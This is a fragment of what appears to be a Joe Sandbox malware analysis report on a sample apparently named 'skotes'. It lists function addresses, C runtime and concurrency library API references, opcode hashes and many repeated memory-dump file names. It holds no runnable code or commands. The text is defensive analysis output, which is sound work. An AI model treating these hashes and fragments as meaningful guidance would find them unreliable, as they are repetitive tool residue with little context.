Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 355b743a106529b536bf823fc693b218a35ce1094f228d00f9b98ea9dd887801
Instruction ID: 63651ed86f8ff84f104e68c196a1d24d847dc8c1d1fc1497875a1abf92c93c67
Opcode Fuzzy Hash: 355b743a106529b536bf823fc693b218a35ce1094f228d00f9b98ea9dd887801
Instruction Fuzzy Hash: 5E414C75A00215DFDF04EF64C898AADB7B5FF48310F1480A9ED499B382DB78A941CFA1

Function 00726E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00726ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00726F22
std::_Rethrow_future_exception.LIBCPMT ref: 00726F32
__Mtx_unlock.LIBCPMT ref: 00726FD5
__Mtx_unlock.LIBCPMT ref: 007270DB
__Mtx_unlock.LIBCPMT ref: 00727116

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 110bf7f6aba74d02fd01e4e5b9278fd4a5a861fb1d6c993e9cc7b7c148747628
Instruction ID: 76b58766d065f007b0467af7a600747105711d6983c8e088f3a65521ffd54cca
Opcode Fuzzy Hash: 110bf7f6aba74d02fd01e4e5b9278fd4a5a861fb1d6c993e9cc7b7c148747628
Instruction Fuzzy Hash: 07C1F370D04318DBDF25DF64EA49BAEBBF4EF14310F00452EE81697681EB39A948CB61

Function 007344DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00734538
ListArray.LIBCONCRT ref: 0073456C
Hash.LIBCMT ref: 007345D5
Hash.LIBCMT ref: 007345E5

Part of subcall function 00739C41: std::bad_exception::bad_exception.LIBCMT ref: 00739C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0073474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007347A4

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 80e26fda570e4d5ac0f11a74673b63f7a3a036dfb8f326531fa47a50e0d51b57
Instruction ID: c1e5c7ffec01d88474247a450031deca784c1f3343f6ab64662726740e65edbb
Opcode Fuzzy Hash: 80e26fda570e4d5ac0f11a74673b63f7a3a036dfb8f326531fa47a50e0d51b57
Instruction Fuzzy Hash: E38144B0A11B66FAE718DF7488457D9FAA8BF09700F10431AF528D7282DBB87554CBD1

Function 0074CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0074CC66

Strings

vt, xrefs: 0074CBE1

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vt
API String ID: 3213747228-3392995273
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 2a1b904805f9607de461cc0a677b0cc71bddbdc516b25282b048ca70e7357353
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: A9B12432E066959FDB16CF28C8817BEBBE5EF45350F1441AAE855EB242D73C9D01CBA0

Function 007567A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00756902
__alloca_probe_16.LIBCMT ref: 00756998
__freea.LIBCMT ref: 00756A03
__freea.LIBCMT ref: 00756A0F

Strings

eju, xrefs: 00756949, 0075681A

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: eju
API String ID: 1635606685-237033031
Opcode ID: 66a6114a43e2f2e35d91f8126443f6b5c729e03671d2ac3bafcec674e2177909
Instruction ID: 2184f1699bccc449f81865b1ec16313eae1b047f25a7be4d48d9e97c91bac5f9
Opcode Fuzzy Hash: 66a6114a43e2f2e35d91f8126443f6b5c729e03671d2ac3bafcec674e2177909
Instruction Fuzzy Hash: 3981C272D002599BDF219E648845EEF7BB5DF09716F988059EC00BB241E7BDEC48CBA0

Function 00741B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00741B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00741B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00741C2A

Strings

pContext, xrefs: 00741C22
switchState, xrefs: 00741B5E

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
